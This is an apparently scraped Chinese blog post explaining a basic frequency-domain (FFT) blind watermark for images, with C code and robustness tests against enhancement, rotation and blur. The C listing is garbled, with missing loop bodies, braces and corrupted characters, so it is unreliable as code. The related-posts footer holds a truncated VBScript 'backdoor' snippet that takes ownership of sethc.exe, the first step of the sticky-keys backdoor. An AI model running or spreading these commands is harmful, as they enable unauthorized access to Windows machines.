有意思的數字盲水印的簡單的實現。

2022-02-01 06:08:09 字數 3418 閱讀 2835

早期大約是10年前從一本數字影象處理上看到過數字水印的概念,覺得確實一種很有意思的東西,那個時候主要就是基於lsb的影象資訊的隱藏,這種在空域裡的方法有較大的缺陷,魯棒性是比較差的。隨便乙個後期的都會造成水印的丟失,因此,雖然是一種盲水印,但是不具有很好的推廣性。

前段時間乙個朋友給了我一段使用opencv的盲水印**,是基於fft變換的, 抽空看了下,對其中部分的實現過程進行了替換和分解,也實現了乙個最簡單的基於頻域的盲水印效果。

好像還有乙個寫的比較詳細,而且有工具,在github上也有分享**。

但是似乎這些工具大部分只支援文字水印,而不支援影象水印,文字我不熟悉,因此我還是用影象做水印模板,核心的**如下所示:

int im_addblindwatermark(unsigned char *src, unsigned char *watermark, unsigned char *dest, int width, int height, int stride, int widthw, int heightw, int

stridew)

for (int x = offsetx; x < offsetx + width; x++)

for (int x = offsetx + width; x < optimalw; x++)

}for (int y = 0; y < offsety; y++)

for (int y = offsety + height; y < optimalh; y++)

im_fft2d(data, data, optimalw, optimalh,

false, 0, 0

); im_fftshift(data, data, optimalw, optimalh);

//資料偏移到中心

for (int y = 0; y < heightw; y++)

}else

if (channelw == 3

)

}else

if (channelw == 4

) }}

im_ifftshift(data, data, optimalw, optimalh);

im_fft2d(data, data, optimalw, optimalh,

true, 0, 0

);

for (int y = 0; y < height; y++)

}if (data != null) free

(data);

return

im_status_ok;

}else

}

首先,把影象變換到頻域,這裡採用了opencv的有關fft計算的過程,使用im_getoptimaldftsize計算最佳的dft演算法的大小,然後將影象資料居中分布,周邊的空白畫素採用映象填充方式填充,虛部資料填0。

fft變換完成後,對fft資料進行移位,把高頻資料放置到影象的中心,低頻的資料放置到影象的邊緣。為了將水印的影象嵌入到目標影象,我們在適當位置根據水印影象的強度或內容來修改這些頻域值,為了不影響最終的目標影象的視覺效果,嵌入的資料放置到邊緣的低頻資料中(靠近邊緣的部位),我這裡也沒有放置在最邊緣,而是邊緣靠中的部位。

常用的水印影象可能是8位灰度、24位彩色或32位透明圖,因此,我在程式裡對不同位數的水印圖都做了處理,如果是32點陣圖,則把alpha也考慮進去了,使用的嵌入方式就是最簡單的更具水印圖的顏色強度值將目標影象的頻域係數放大。這裡的放大程度我做了固定的設計,測試效果還比較好,如果過度放大,則最後處理的結果將會嚴重的失真,這就失去了演算法本身的意義了。當然還有一種方式就是縮小係數,也可以去嘗試下。

之後,我們需要將平移後的資料再次進行移位,然後就是進行ifft計算了,並將計算結果返回到影象域。

本例只給出了針對灰度目標影象的**,那麼彩色影象其實是一樣的過程,將他們分解成三個通道單獨處理就ok了。 

同時,為了保證水印對結果圖不會造成太大的影響,我們程式對水印圖大小做了限制,長和寬都不得大於目標影象的1/4。

另外,從嵌入的**可以看到,我們希望水印影象盡量是黑色的背景(8位或24位)或純背景部位是透明的(32位),這樣對目標影象的影響也比較小。

我們來做一些測試,以下是一張原圖(原圖縮小顯示了)及兩個水印圖進行測試:

分別檢視其結果圖和頻譜圖:

可見,新增水印後基本未對原始影象造成視覺上的損失,在處理後的影象的頻譜上可以明顯看到新增後的水印的樣式。

如果對新增水印後的影象進行一些處理,看看水印是否還能有效儲存。

一、亂七八糟的增強

2、有區域性裁切的旋轉

3、含有模糊性質的演算法

可見,這個時候水印資訊就基本丟失了,這主要是因為我們的水印資訊是加在影象的低頻的,而模糊會對低頻進行處理,所以就看不到水印了,但是如果是銳化演算法就不成問題的。

因此,這個盲水印的功能還是比較初級的,但是如果在自己的比較重要的圖里隱藏個水印有的時候還是值得的,假如某個壞人是直接使用你的圖而沒有做任何更改呢。

另外,還有一種基於fft比較常見的水印技術,需要嵌入水印的以及未嵌入水印的原始圖這樣才可以獲得水印,理論上講這種應該不叫做盲水印了,但是他有個好處就是可以對水印進行加密,這樣別人就比較難以知道你對影象是否嵌入了水印了。需要做的額外工具就是一定需要保留原始的未加水印的影象了。

我將這個 小工具也整合到了我的sse做的demo裡了,有需要的朋友可以試下:

sse_optimization_demo.rar

有意思的後門

dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...

有意思的number format

申明 這是個人原創,在cnblogs上也有,都是自己寫的所以放原創了。number format number,decimals,decimalpoint,separator 有四個引數,第乙個和第二個引數是必須的,第三個和第四個是可選項。但實際測試中第三個和第四個這兩個引數必須同時存在,也就是要麼...

有意思的遞迴

先來乙個入門的 上初中學習數列求和什麼的時候我們就學過高斯的計算1到100的自然數的和的經典課文,那麼如果我們現在用程式的話該怎麼來做呢?自然是迴圈來做這件事。如果不用迴圈怎麼做呢?def sum first,end if end 1 return first elif end 1 return s...